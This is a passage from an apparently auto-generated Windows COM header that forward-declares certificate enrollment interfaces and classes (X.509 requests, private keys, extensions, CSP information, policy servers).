__IObjectIds_FWD_DEFINED__ */\n\n\n#ifndef __IBinaryConverter_FWD_DEFINED__\n#define __IBinaryConverter_FWD_DEFINED__\ntypedef interface IBinaryConverter IBinaryConverter;\n\n#endif \t/* __IBinaryConverter_FWD_DEFINED__ */\n\n\n#ifndef __IBinaryConverter2_FWD_DEFINED__\n#define __IBinaryConverter2_FWD_DEFINED__\ntypedef interface IBinaryConverter2 IBinaryConverter2;\n\n#endif \t/* __IBinaryConverter2_FWD_DEFINED__ */\n\n\n#ifndef __IX500DistinguishedName_FWD_DEFINED__\n#define __IX500DistinguishedName_FWD_DEFINED__\ntypedef interface IX500DistinguishedName IX500DistinguishedName;\n\n#endif \t/* __IX500DistinguishedName_FWD_DEFINED__ */\n\n\n#ifndef __IX509EnrollmentStatus_FWD_DEFINED__\n#define __IX509EnrollmentStatus_FWD_DEFINED__\ntypedef interface IX509EnrollmentStatus IX509EnrollmentStatus;\n\n#endif \t/* __IX509EnrollmentStatus_FWD_DEFINED__ */\n\n\n#ifndef __ICspAlgorithm_FWD_DEFINED__\n#define __ICspAlgorithm_FWD_DEFINED__\ntypedef interface ICspAlgorithm ICspAlgorithm;\n\n#endif \t/* __ICspAlgorithm_FWD_DEFINED__ */\n\n\n#ifndef __ICspAlgorithms_FWD_DEFINED__\n#define __ICspAlgorithms_FWD_DEFINED__\ntypedef interface ICspAlgorithms ICspAlgorithms;\n\n#endif \t/* __ICspAlgorithms_FWD_DEFINED__ */\n\n\n#ifndef __ICspInformation_FWD_DEFINED__\n#define __ICspInformation_FWD_DEFINED__\ntypedef interface ICspInformation ICspInformation;\n\n#endif \t/* __ICspInformation_FWD_DEFINED__ */\n\n\n#ifndef __ICspInformations_FWD_DEFINED__\n#define __ICspInformations_FWD_DEFINED__\ntypedef interface ICspInformations ICspInformations;\n\n#endif \t/* __ICspInformations_FWD_DEFINED__ */\n\n\n#ifndef __ICspStatus_FWD_DEFINED__\n#define __ICspStatus_FWD_DEFINED__\ntypedef interface ICspStatus ICspStatus;\n\n#endif \t/* __ICspStatus_FWD_DEFINED__ */\n\n\n#ifndef __ICspStatuses_FWD_DEFINED__\n#define __ICspStatuses_FWD_DEFINED__\ntypedef interface ICspStatuses ICspStatuses;\n\n#endif \t/* __ICspStatuses_FWD_DEFINED__ */\n\n\n#ifndef __IX509PublicKey_FWD_DEFINED__\n#define __IX509PublicKey_FWD_DEFINED__\ntypedef interface IX509PublicKey IX509PublicKey;\n\n#endif \t/* __IX509PublicKey_FWD_DEFINED__ */\n\n\n#ifndef __IX509PrivateKey_FWD_DEFINED__\n#define __IX509PrivateKey_FWD_DEFINED__\ntypedef interface IX509PrivateKey IX509PrivateKey;\n\n#endif \t/* __IX509PrivateKey_FWD_DEFINED__ */\n\n\n#ifndef __IX509PrivateKey2_FWD_DEFINED__\n#define __IX509PrivateKey2_FWD_DEFINED__\ntypedef interface IX509PrivateKey2 IX509PrivateKey2;\n\n#endif \t/* __IX509PrivateKey2_FWD_DEFINED__ */\n\n\n#ifndef __IX509EndorsementKey_FWD_DEFINED__\n#define __IX509EndorsementKey_FWD_DEFINED__\ntypedef interface IX509EndorsementKey IX509EndorsementKey;\n\n#endif \t/* __IX509EndorsementKey_FWD_DEFINED__ */\n\n\n#ifndef __IX509Extension_FWD_DEFINED__\n#define __IX509Extension_FWD_DEFINED__\ntypedef interface IX509Extension IX509Extension;\n\n#endif \t/* __IX509Extension_FWD_DEFINED__ */\n\n\n#ifndef __IX509Extensions_FWD_DEFINED__\n#define __IX509Extensions_FWD_DEFINED__\ntypedef interface IX509Extensions IX509Extensions;\n\n#endif \t/* __IX509Extensions_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionKeyUsage_FWD_DEFINED__\n#define __IX509ExtensionKeyUsage_FWD_DEFINED__\ntypedef interface IX509ExtensionKeyUsage IX509ExtensionKeyUsage;\n\n#endif \t/* __IX509ExtensionKeyUsage_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionEnhancedKeyUsage_FWD_DEFINED__\n#define __IX509ExtensionEnhancedKeyUsage_FWD_DEFINED__\ntypedef interface IX509ExtensionEnhancedKeyUsage IX509ExtensionEnhancedKeyUsage;\n\n#endif \t/* __IX509ExtensionEnhancedKeyUsage_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionTemplateName_FWD_DEFINED__\n#define __IX509ExtensionTemplateName_FWD_DEFINED__\ntypedef interface IX509ExtensionTemplateName IX509ExtensionTemplateName;\n\n#endif \t/* __IX509ExtensionTemplateName_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionTemplate_FWD_DEFINED__\n#define __IX509ExtensionTemplate_FWD_DEFINED__\ntypedef interface IX509ExtensionTemplate IX509ExtensionTemplate;\n\n#endif \t/* __IX509ExtensionTemplate_FWD_DEFINED__ */\n\n\n#ifndef __IAlternativeName_FWD_DEFINED__\n#define __IAlternativeName_FWD_DEFINED__\ntypedef interface IAlternativeName IAlternativeName;\n\n#endif \t/* __IAlternativeName_FWD_DEFINED__ */\n\n\n#ifndef __IAlternativeNames_FWD_DEFINED__\n#define __IAlternativeNames_FWD_DEFINED__\ntypedef interface IAlternativeNames IAlternativeNames;\n\n#endif \t/* __IAlternativeNames_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionAlternativeNames_FWD_DEFINED__\n#define __IX509ExtensionAlternativeNames_FWD_DEFINED__\ntypedef interface IX509ExtensionAlternativeNames IX509ExtensionAlternativeNames;\n\n#endif \t/* __IX509ExtensionAlternativeNames_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionBasicConstraints_FWD_DEFINED__\n#define __IX509ExtensionBasicConstraints_FWD_DEFINED__\ntypedef interface IX509ExtensionBasicConstraints IX509ExtensionBasicConstraints;\n\n#endif \t/* __IX509ExtensionBasicConstraints_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionSubjectKeyIdentifier_FWD_DEFINED__\n#define __IX509ExtensionSubjectKeyIdentifier_FWD_DEFINED__\ntypedef interface IX509ExtensionSubjectKeyIdentifier IX509ExtensionSubjectKeyIdentifier;\n\n#endif \t/* __IX509ExtensionSubjectKeyIdentifier_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionAuthorityKeyIdentifier_FWD_DEFINED__\n#define __IX509ExtensionAuthorityKeyIdentifier_FWD_DEFINED__\ntypedef interface IX509ExtensionAuthorityKeyIdentifier IX509ExtensionAuthorityKeyIdentifier;\n\n#endif \t/* __IX509ExtensionAuthorityKeyIdentifier_FWD_DEFINED__ */\n\n\n#ifndef __ISmimeCapability_FWD_DEFINED__\n#define __ISmimeCapability_FWD_DEFINED__\ntypedef interface ISmimeCapability ISmimeCapability;\n\n#endif \t/* __ISmimeCapability_FWD_DEFINED__ */\n\n\n#ifndef __ISmimeCapabilities_FWD_DEFINED__\n#define __ISmimeCapabilities_FWD_DEFINED__\ntypedef interface ISmimeCapabilities ISmimeCapabilities;\n\n#endif \t/* __ISmimeCapabilities_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionSmimeCapabilities_FWD_DEFINED__\n#define __IX509ExtensionSmimeCapabilities_FWD_DEFINED__\ntypedef interface IX509ExtensionSmimeCapabilities IX509ExtensionSmimeCapabilities;\n\n#endif \t/* __IX509ExtensionSmimeCapabilities_FWD_DEFINED__ */\n\n\n#ifndef __IPolicyQualifier_FWD_DEFINED__\n#define __IPolicyQualifier_FWD_DEFINED__\ntypedef interface IPolicyQualifier IPolicyQualifier;\n\n#endif \t/* __IPolicyQualifier_FWD_DEFINED__ */\n\n\n#ifndef __IPolicyQualifiers_FWD_DEFINED__\n#define __IPolicyQualifiers_FWD_DEFINED__\ntypedef interface IPolicyQualifiers IPolicyQualifiers;\n\n#endif \t/* __IPolicyQualifiers_FWD_DEFINED__ */\n\n\n#ifndef __ICertificatePolicy_FWD_DEFINED__\n#define __ICertificatePolicy_FWD_DEFINED__\ntypedef interface ICertificatePolicy ICertificatePolicy;\n\n#endif \t/* __ICertificatePolicy_FWD_DEFINED__ */\n\n\n#ifndef __ICertificatePolicies_FWD_DEFINED__\n#define __ICertificatePolicies_FWD_DEFINED__\ntypedef interface ICertificatePolicies ICertificatePolicies;\n\n#endif \t/* __ICertificatePolicies_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionCertificatePolicies_FWD_DEFINED__\n#define __IX509ExtensionCertificatePolicies_FWD_DEFINED__\ntypedef interface IX509ExtensionCertificatePolicies IX509ExtensionCertificatePolicies;\n\n#endif \t/* __IX509ExtensionCertificatePolicies_FWD_DEFINED__ */\n\n\n#ifndef __IX509ExtensionMSApplicationPolicies_FWD_DEFINED__\n#define __IX509ExtensionMSApplicationPolicies_FWD_DEFINED__\ntypedef interface IX509ExtensionMSApplicationPolicies IX509ExtensionMSApplicationPolicies;\n\n#endif \t/* __IX509ExtensionMSApplicationPolicies_FWD_DEFINED__ */\n\n\n#ifndef __IX509Attribute_FWD_DEFINED__\n#define __IX509Attribute_FWD_DEFINED__\ntypedef interface IX509Attribute IX509Attribute;\n\n#endif \t/* __IX509Attribute_FWD_DEFINED__ */\n\n\n#ifndef __IX509Attributes_FWD_DEFINED__\n#define __IX509Attributes_FWD_DEFINED__\ntypedef interface IX509Attributes IX509Attributes;\n\n#endif \t/* __IX509Attributes_FWD_DEFINED__ */\n\n\n#ifndef __IX509AttributeExtensions_FWD_DEFINED__\n#define __IX509AttributeExtensions_FWD_DEFINED__\ntypedef interface IX509AttributeExtensions IX509AttributeExtensions;\n\n#endif \t/* __IX509AttributeExtensions_FWD_DEFINED__ */\n\n\n#ifndef __IX509AttributeClientId_FWD_DEFINED__\n#define __IX509AttributeClientId_FWD_DEFINED__\ntypedef interface IX509AttributeClientId IX509AttributeClientId;\n\n#endif \t/* __IX509AttributeClientId_FWD_DEFINED__ */\n\n\n#ifndef __IX509AttributeRenewalCertificate_FWD_DEFINED__\n#define __IX509AttributeRenewalCertificate_FWD_DEFINED__\ntypedef interface IX509AttributeRenewalCertificate IX509AttributeRenewalCertificate;\n\n#endif \t/* __IX509AttributeRenewalCertificate_FWD_DEFINED__ */\n\n\n#ifndef __IX509AttributeArchiveKey_FWD_DEFINED__\n#define __IX509AttributeArchiveKey_FWD_DEFINED__\ntypedef interface IX509AttributeArchiveKey IX509AttributeArchiveKey;\n\n#endif \t/* __IX509AttributeArchiveKey_FWD_DEFINED__ */\n\n\n#ifndef __IX509AttributeArchiveKeyHash_FWD_DEFINED__\n#define __IX509AttributeArchiveKeyHash_FWD_DEFINED__\ntypedef interface IX509AttributeArchiveKeyHash IX509AttributeArchiveKeyHash;\n\n#endif \t/* __IX509AttributeArchiveKeyHash_FWD_DEFINED__ */\n\n\n#ifndef __IX509AttributeOSVersion_FWD_DEFINED__\n#define __IX509AttributeOSVersion_FWD_DEFINED__\ntypedef interface IX509AttributeOSVersion IX509AttributeOSVersion;\n\n#endif \t/* __IX509AttributeOSVersion_FWD_DEFINED__ */\n\n\n#ifndef __IX509AttributeCspProvider_FWD_DEFINED__\n#define __IX509AttributeCspProvider_FWD_DEFINED__\ntypedef interface IX509AttributeCspProvider IX509AttributeCspProvider;\n\n#endif \t/* __IX509AttributeCspProvider_FWD_DEFINED__ */\n\n\n#ifndef __ICryptAttribute_FWD_DEFINED__\n#define __ICryptAttribute_FWD_DEFINED__\ntypedef interface ICryptAttribute ICryptAttribute;\n\n#endif \t/* __ICryptAttribute_FWD_DEFINED__ */\n\n\n#ifndef __ICryptAttributes_FWD_DEFINED__\n#define __ICryptAttributes_FWD_DEFINED__\ntypedef interface ICryptAttributes ICryptAttributes;\n\n#endif \t/* __ICryptAttributes_FWD_DEFINED__ */\n\n\n#ifndef __ICertProperty_FWD_DEFINED__\n#define __ICertProperty_FWD_DEFINED__\ntypedef interface ICertProperty ICertProperty;\n\n#endif \t/* __ICertProperty_FWD_DEFINED__ */\n\n\n#ifndef __ICertProperties_FWD_DEFINED__\n#define __ICertProperties_FWD_DEFINED__\ntypedef interface ICertProperties ICertProperties;\n\n#endif \t/* __ICertProperties_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyFriendlyName_FWD_DEFINED__\n#define __ICertPropertyFriendlyName_FWD_DEFINED__\ntypedef interface ICertPropertyFriendlyName ICertPropertyFriendlyName;\n\n#endif \t/* __ICertPropertyFriendlyName_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyDescription_FWD_DEFINED__\n#define __ICertPropertyDescription_FWD_DEFINED__\ntypedef interface ICertPropertyDescription ICertPropertyDescription;\n\n#endif \t/* __ICertPropertyDescription_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyAutoEnroll_FWD_DEFINED__\n#define __ICertPropertyAutoEnroll_FWD_DEFINED__\ntypedef interface ICertPropertyAutoEnroll ICertPropertyAutoEnroll;\n\n#endif \t/* __ICertPropertyAutoEnroll_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyRequestOriginator_FWD_DEFINED__\n#define __ICertPropertyRequestOriginator_FWD_DEFINED__\ntypedef interface ICertPropertyRequestOriginator ICertPropertyRequestOriginator;\n\n#endif \t/* __ICertPropertyRequestOriginator_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertySHA1Hash_FWD_DEFINED__\n#define __ICertPropertySHA1Hash_FWD_DEFINED__\ntypedef interface ICertPropertySHA1Hash ICertPropertySHA1Hash;\n\n#endif \t/* __ICertPropertySHA1Hash_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyKeyProvInfo_FWD_DEFINED__\n#define __ICertPropertyKeyProvInfo_FWD_DEFINED__\ntypedef interface ICertPropertyKeyProvInfo ICertPropertyKeyProvInfo;\n\n#endif \t/* __ICertPropertyKeyProvInfo_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyArchived_FWD_DEFINED__\n#define __ICertPropertyArchived_FWD_DEFINED__\ntypedef interface ICertPropertyArchived ICertPropertyArchived;\n\n#endif \t/* __ICertPropertyArchived_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyBackedUp_FWD_DEFINED__\n#define __ICertPropertyBackedUp_FWD_DEFINED__\ntypedef interface ICertPropertyBackedUp ICertPropertyBackedUp;\n\n#endif \t/* __ICertPropertyBackedUp_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyEnrollment_FWD_DEFINED__\n#define __ICertPropertyEnrollment_FWD_DEFINED__\ntypedef interface ICertPropertyEnrollment ICertPropertyEnrollment;\n\n#endif \t/* __ICertPropertyEnrollment_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyRenewal_FWD_DEFINED__\n#define __ICertPropertyRenewal_FWD_DEFINED__\ntypedef interface ICertPropertyRenewal ICertPropertyRenewal;\n\n#endif \t/* __ICertPropertyRenewal_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyArchivedKeyHash_FWD_DEFINED__\n#define __ICertPropertyArchivedKeyHash_FWD_DEFINED__\ntypedef interface ICertPropertyArchivedKeyHash ICertPropertyArchivedKeyHash;\n\n#endif \t/* __ICertPropertyArchivedKeyHash_FWD_DEFINED__ */\n\n\n#ifndef __ICertPropertyEnrollmentPolicyServer_FWD_DEFINED__\n#define __ICertPropertyEnrollmentPolicyServer_FWD_DEFINED__\ntypedef interface ICertPropertyEnrollmentPolicyServer ICertPropertyEnrollmentPolicyServer;\n\n#endif \t/* __ICertPropertyEnrollmentPolicyServer_FWD_DEFINED__ */\n\n\n#ifndef __IX509SignatureInformation_FWD_DEFINED__\n#define __IX509SignatureInformation_FWD_DEFINED__\ntypedef interface IX509SignatureInformation IX509SignatureInformation;\n\n#endif \t/* __IX509SignatureInformation_FWD_DEFINED__ */\n\n\n#ifndef __ISignerCertificate_FWD_DEFINED__\n#define __ISignerCertificate_FWD_DEFINED__\ntypedef interface ISignerCertificate ISignerCertificate;\n\n#endif \t/* __ISignerCertificate_FWD_DEFINED__ */\n\n\n#ifndef __ISignerCertificates_FWD_DEFINED__\n#define __ISignerCertificates_FWD_DEFINED__\ntypedef interface ISignerCertificates ISignerCertificates;\n\n#endif \t/* __ISignerCertificates_FWD_DEFINED__ */\n\n\n#ifndef __IX509NameValuePair_FWD_DEFINED__\n#define __IX509NameValuePair_FWD_DEFINED__\ntypedef interface IX509NameValuePair IX509NameValuePair;\n\n#endif \t/* __IX509NameValuePair_FWD_DEFINED__ */\n\n\n#ifndef __IX509NameValuePairs_FWD_DEFINED__\n#define __IX509NameValuePairs_FWD_DEFINED__\ntypedef interface IX509NameValuePairs IX509NameValuePairs;\n\n#endif \t/* __IX509NameValuePairs_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateTemplate_FWD_DEFINED__\n#define __IX509CertificateTemplate_FWD_DEFINED__\ntypedef interface IX509CertificateTemplate IX509CertificateTemplate;\n\n#endif \t/* __IX509CertificateTemplate_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateTemplates_FWD_DEFINED__\n#define __IX509CertificateTemplates_FWD_DEFINED__\ntypedef interface IX509CertificateTemplates IX509CertificateTemplates;\n\n#endif \t/* __IX509CertificateTemplates_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateTemplateWritable_FWD_DEFINED__\n#define __IX509CertificateTemplateWritable_FWD_DEFINED__\ntypedef interface IX509CertificateTemplateWritable IX509CertificateTemplateWritable;\n\n#endif \t/* __IX509CertificateTemplateWritable_FWD_DEFINED__ */\n\n\n#ifndef __ICertificationAuthority_FWD_DEFINED__\n#define __ICertificationAuthority_FWD_DEFINED__\ntypedef interface ICertificationAuthority ICertificationAuthority;\n\n#endif \t/* __ICertificationAuthority_FWD_DEFINED__ */\n\n\n#ifndef __ICertificationAuthorities_FWD_DEFINED__\n#define __ICertificationAuthorities_FWD_DEFINED__\ntypedef interface ICertificationAuthorities ICertificationAuthorities;\n\n#endif \t/* __ICertificationAuthorities_FWD_DEFINED__ */\n\n\n#ifndef __IX509EnrollmentPolicyServer_FWD_DEFINED__\n#define __IX509EnrollmentPolicyServer_FWD_DEFINED__\ntypedef interface IX509EnrollmentPolicyServer IX509EnrollmentPolicyServer;\n\n#endif \t/* __IX509EnrollmentPolicyServer_FWD_DEFINED__ */\n\n\n#ifndef __IX509PolicyServerUrl_FWD_DEFINED__\n#define __IX509PolicyServerUrl_FWD_DEFINED__\ntypedef interface IX509PolicyServerUrl IX509PolicyServerUrl;\n\n#endif \t/* __IX509PolicyServerUrl_FWD_DEFINED__ */\n\n\n#ifndef __IX509PolicyServerListManager_FWD_DEFINED__\n#define __IX509PolicyServerListManager_FWD_DEFINED__\ntypedef interface IX509PolicyServerListManager IX509PolicyServerListManager;\n\n#endif \t/* __IX509PolicyServerListManager_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequest_FWD_DEFINED__\n#define __IX509CertificateRequest_FWD_DEFINED__\ntypedef interface IX509CertificateRequest IX509CertificateRequest;\n\n#endif \t/* __IX509CertificateRequest_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs10_FWD_DEFINED__\n#define __IX509CertificateRequestPkcs10_FWD_DEFINED__\ntypedef interface IX509CertificateRequestPkcs10 IX509CertificateRequestPkcs10;\n\n#endif \t/* __IX509CertificateRequestPkcs10_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs10V2_FWD_DEFINED__\n#define __IX509CertificateRequestPkcs10V2_FWD_DEFINED__\ntypedef interface IX509CertificateRequestPkcs10V2 IX509CertificateRequestPkcs10V2;\n\n#endif \t/* __IX509CertificateRequestPkcs10V2_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs10V3_FWD_DEFINED__\n#define __IX509CertificateRequestPkcs10V3_FWD_DEFINED__\ntypedef interface IX509CertificateRequestPkcs10V3 IX509CertificateRequestPkcs10V3;\n\n#endif \t/* __IX509CertificateRequestPkcs10V3_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs10V4_FWD_DEFINED__\n#define __IX509CertificateRequestPkcs10V4_FWD_DEFINED__\ntypedef interface IX509CertificateRequestPkcs10V4 IX509CertificateRequestPkcs10V4;\n\n#endif \t/* __IX509CertificateRequestPkcs10V4_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestCertificate_FWD_DEFINED__\n#define __IX509CertificateRequestCertificate_FWD_DEFINED__\ntypedef interface IX509CertificateRequestCertificate IX509CertificateRequestCertificate;\n\n#endif \t/* __IX509CertificateRequestCertificate_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestCertificate2_FWD_DEFINED__\n#define __IX509CertificateRequestCertificate2_FWD_DEFINED__\ntypedef interface IX509CertificateRequestCertificate2 IX509CertificateRequestCertificate2;\n\n#endif \t/* __IX509CertificateRequestCertificate2_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs7_FWD_DEFINED__\n#define __IX509CertificateRequestPkcs7_FWD_DEFINED__\ntypedef interface IX509CertificateRequestPkcs7 IX509CertificateRequestPkcs7;\n\n#endif \t/* __IX509CertificateRequestPkcs7_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs7V2_FWD_DEFINED__\n#define __IX509CertificateRequestPkcs7V2_FWD_DEFINED__\ntypedef interface IX509CertificateRequestPkcs7V2 IX509CertificateRequestPkcs7V2;\n\n#endif \t/* __IX509CertificateRequestPkcs7V2_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestCmc_FWD_DEFINED__\n#define __IX509CertificateRequestCmc_FWD_DEFINED__\ntypedef interface IX509CertificateRequestCmc IX509CertificateRequestCmc;\n\n#endif \t/* __IX509CertificateRequestCmc_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestCmc2_FWD_DEFINED__\n#define __IX509CertificateRequestCmc2_FWD_DEFINED__\ntypedef interface IX509CertificateRequestCmc2 IX509CertificateRequestCmc2;\n\n#endif \t/* __IX509CertificateRequestCmc2_FWD_DEFINED__ */\n\n\n#ifndef __IX509Enrollment_FWD_DEFINED__\n#define __IX509Enrollment_FWD_DEFINED__\ntypedef interface IX509Enrollment IX509Enrollment;\n\n#endif \t/* __IX509Enrollment_FWD_DEFINED__ */\n\n\n#ifndef __IX509Enrollment2_FWD_DEFINED__\n#define __IX509Enrollment2_FWD_DEFINED__\ntypedef interface IX509Enrollment2 IX509Enrollment2;\n\n#endif \t/* __IX509Enrollment2_FWD_DEFINED__ */\n\n\n#ifndef __IX509EnrollmentHelper_FWD_DEFINED__\n#define __IX509EnrollmentHelper_FWD_DEFINED__\ntypedef interface IX509EnrollmentHelper IX509EnrollmentHelper;\n\n#endif \t/* __IX509EnrollmentHelper_FWD_DEFINED__ */\n\n\n#ifndef __IX509EnrollmentWebClassFactory_FWD_DEFINED__\n#define __IX509EnrollmentWebClassFactory_FWD_DEFINED__\ntypedef interface IX509EnrollmentWebClassFactory IX509EnrollmentWebClassFactory;\n\n#endif \t/* __IX509EnrollmentWebClassFactory_FWD_DEFINED__ */\n\n\n#ifndef __IX509MachineEnrollmentFactory_FWD_DEFINED__\n#define __IX509MachineEnrollmentFactory_FWD_DEFINED__\ntypedef interface IX509MachineEnrollmentFactory IX509MachineEnrollmentFactory;\n\n#endif \t/* __IX509MachineEnrollmentFactory_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRevocationListEntry_FWD_DEFINED__\n#define __IX509CertificateRevocationListEntry_FWD_DEFINED__\ntypedef interface IX509CertificateRevocationListEntry IX509CertificateRevocationListEntry;\n\n#endif \t/* __IX509CertificateRevocationListEntry_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRevocationListEntries_FWD_DEFINED__\n#define __IX509CertificateRevocationListEntries_FWD_DEFINED__\ntypedef interface IX509CertificateRevocationListEntries IX509CertificateRevocationListEntries;\n\n#endif \t/* __IX509CertificateRevocationListEntries_FWD_DEFINED__ */\n\n\n#ifndef __IX509CertificateRevocationList_FWD_DEFINED__\n#define __IX509CertificateRevocationList_FWD_DEFINED__\ntypedef interface IX509CertificateRevocationList IX509CertificateRevocationList;\n\n#endif \t/* __IX509CertificateRevocationList_FWD_DEFINED__ */\n\n\n#ifndef __ICertificateAttestationChallenge_FWD_DEFINED__\n#define __ICertificateAttestationChallenge_FWD_DEFINED__\ntypedef interface ICertificateAttestationChallenge ICertificateAttestationChallenge;\n\n#endif \t/* __ICertificateAttestationChallenge_FWD_DEFINED__ */\n\n\n#ifndef __ICertificateAttestationChallenge2_FWD_DEFINED__\n#define __ICertificateAttestationChallenge2_FWD_DEFINED__\ntypedef interface ICertificateAttestationChallenge2 ICertificateAttestationChallenge2;\n\n#endif \t/* __ICertificateAttestationChallenge2_FWD_DEFINED__ */\n\n\n#ifndef __IX509SCEPEnrollment_FWD_DEFINED__\n#define __IX509SCEPEnrollment_FWD_DEFINED__\ntypedef interface IX509SCEPEnrollment IX509SCEPEnrollment;\n\n#endif \t/* __IX509SCEPEnrollment_FWD_DEFINED__ */\n\n\n#ifndef __IX509SCEPEnrollment2_FWD_DEFINED__\n#define __IX509SCEPEnrollment2_FWD_DEFINED__\ntypedef interface IX509SCEPEnrollment2 IX509SCEPEnrollment2;\n\n#endif \t/* __IX509SCEPEnrollment2_FWD_DEFINED__ */\n\n\n#ifndef __IX509SCEPEnrollmentHelper_FWD_DEFINED__\n#define __IX509SCEPEnrollmentHelper_FWD_DEFINED__\ntypedef interface IX509SCEPEnrollmentHelper IX509SCEPEnrollmentHelper;\n\n#endif \t/* __IX509SCEPEnrollmentHelper_FWD_DEFINED__ */\n\n\n#ifndef __CObjectId_FWD_DEFINED__\n#define __CObjectId_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CObjectId CObjectId;\n#else\ntypedef struct CObjectId CObjectId;\n#endif /* __cplusplus */\n\n#endif \t/* __CObjectId_FWD_DEFINED__ */\n\n\n#ifndef __CObjectIds_FWD_DEFINED__\n#define __CObjectIds_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CObjectIds CObjectIds;\n#else\ntypedef struct CObjectIds CObjectIds;\n#endif /* __cplusplus */\n\n#endif \t/* __CObjectIds_FWD_DEFINED__ */\n\n\n#ifndef __CBinaryConverter_FWD_DEFINED__\n#define __CBinaryConverter_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CBinaryConverter CBinaryConverter;\n#else\ntypedef struct CBinaryConverter CBinaryConverter;\n#endif /* __cplusplus */\n\n#endif \t/* __CBinaryConverter_FWD_DEFINED__ */\n\n\n#ifndef __CX500DistinguishedName_FWD_DEFINED__\n#define __CX500DistinguishedName_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX500DistinguishedName CX500DistinguishedName;\n#else\ntypedef struct CX500DistinguishedName CX500DistinguishedName;\n#endif /* __cplusplus */\n\n#endif \t/* __CX500DistinguishedName_FWD_DEFINED__ */\n\n\n#ifndef __CCspInformation_FWD_DEFINED__\n#define __CCspInformation_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCspInformation CCspInformation;\n#else\ntypedef struct CCspInformation CCspInformation;\n#endif /* __cplusplus */\n\n#endif \t/* __CCspInformation_FWD_DEFINED__ */\n\n\n#ifndef __CCspInformations_FWD_DEFINED__\n#define __CCspInformations_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCspInformations CCspInformations;\n#else\ntypedef struct CCspInformations CCspInformations;\n#endif /* __cplusplus */\n\n#endif \t/* __CCspInformations_FWD_DEFINED__ */\n\n\n#ifndef __CCspStatus_FWD_DEFINED__\n#define __CCspStatus_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCspStatus CCspStatus;\n#else\ntypedef struct CCspStatus CCspStatus;\n#endif /* __cplusplus */\n\n#endif \t/* __CCspStatus_FWD_DEFINED__ */\n\n\n#ifndef __CX509PublicKey_FWD_DEFINED__\n#define __CX509PublicKey_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509PublicKey CX509PublicKey;\n#else\ntypedef struct CX509PublicKey CX509PublicKey;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509PublicKey_FWD_DEFINED__ */\n\n\n#ifndef __CX509PrivateKey_FWD_DEFINED__\n#define __CX509PrivateKey_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509PrivateKey CX509PrivateKey;\n#else\ntypedef struct CX509PrivateKey CX509PrivateKey;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509PrivateKey_FWD_DEFINED__ */\n\n\n#ifndef __CX509EndorsementKey_FWD_DEFINED__\n#define __CX509EndorsementKey_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509EndorsementKey CX509EndorsementKey;\n#else\ntypedef struct CX509EndorsementKey CX509EndorsementKey;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509EndorsementKey_FWD_DEFINED__ */\n\n\n#ifndef __CX509Extension_FWD_DEFINED__\n#define __CX509Extension_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509Extension CX509Extension;\n#else\ntypedef struct CX509Extension CX509Extension;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509Extension_FWD_DEFINED__ */\n\n\n#ifndef __CX509Extensions_FWD_DEFINED__\n#define __CX509Extensions_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509Extensions CX509Extensions;\n#else\ntypedef struct CX509Extensions CX509Extensions;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509Extensions_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionKeyUsage_FWD_DEFINED__\n#define __CX509ExtensionKeyUsage_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionKeyUsage CX509ExtensionKeyUsage;\n#else\ntypedef struct CX509ExtensionKeyUsage CX509ExtensionKeyUsage;\n#endif /* __cplusplus */\n\n#endif 